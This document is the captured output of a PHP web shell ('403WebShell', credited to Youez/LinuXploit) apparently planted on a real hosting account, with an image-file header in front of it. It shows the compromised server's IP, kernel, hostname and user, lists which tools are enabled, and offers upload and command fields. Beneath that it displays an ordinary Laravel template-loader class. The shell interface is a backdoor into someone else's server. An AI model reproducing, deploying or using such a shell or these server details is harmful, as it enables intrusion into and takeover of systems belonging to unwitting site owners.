����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.191.91.228
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/app/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/app/Services/TemplateLoader.php
<?php namespace App\Services;

use Arr;
use Carbon\Carbon;
use Illuminate\Filesystem\FilesystemAdapter;
use Illuminate\Support\Collection;
use Storage;
use Str;

class TemplateLoader
{
    const DEFAULT_THUMBNAIL = 'default_project_thumbnail.png';
    /**
     * @var FilesystemAdapter
     */
    private $storage;

    public function __construct()
    {
        $this->storage = Storage::disk('builder');
    }

    /**
     * Load all available templates.
     *
     * @return Collection
     */
    public function loadAll()
    {
        $paths = $this->storage->directories('templates');

        return collect($paths)->map(function($path) {
            $name = basename($path);

            $updatedAt = $this->storage->exists("$path/index.html")
                ? Carbon::createFromTimestamp($this->storage->lastModified("$path/index.html"))->toDateTimeString()
                : Carbon::now();

            return [
                'name' => $name,
                'updated_at' => $updatedAt,
                'config' => $this->getTemplateConfig(basename($path)),
                'thumbnail' => $this->getTemplateImagePath($name)
            ];
        });
    }

    /**
     * Load specified template from the disk.
     *
     * @param string $name
     * @return array
     */
    public function load($name)
    {
        $paths = $this->storage->files("templates/$name");

        $pages = collect($paths)->filter(function($path) {
            return Str::contains($path, '.html');
        })->map(function($path) use($name) {
            return [
                'name' => basename($path, '.html'),
                'html' => $this->storage->get($path),
            ];
        })->values();

        return [
            'name' => $name,
            'config' => $this->getTemplateConfig($name),
            'thumbnail' => $this->getTemplateImagePath($name),
            'pages' => $pages,
        ];
    }

    /**
     * Check if specified template exists.
     *
     * @param string $name
     * @return bool
     */
    public function exists($name)
    {
        return $this->storage->exists("templates/$name");
    }

    /**
     * Get template image path or default.
     *
     * @param string $name
     * @return string
     */
    private function getTemplateImagePath($name)
    {
        $path = "templates/$name/thumbnail.png";

        if ($this->storage->exists($path)) {
            return $this->storage->url($path);
        }

        return Storage::disk('builder')->url(self::DEFAULT_THUMBNAIL);
    }

    /**
     * Get template configuration.
     *
     * @param string $name
     * @return array
     */
    private function getTemplateConfig($name)
    {
        $path = "templates/$name/config.json";
        $config = [];

        if ($this->storage->exists($path)) {
            $config = json_decode($this->storage->get($path), true);
        }

        return $config;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit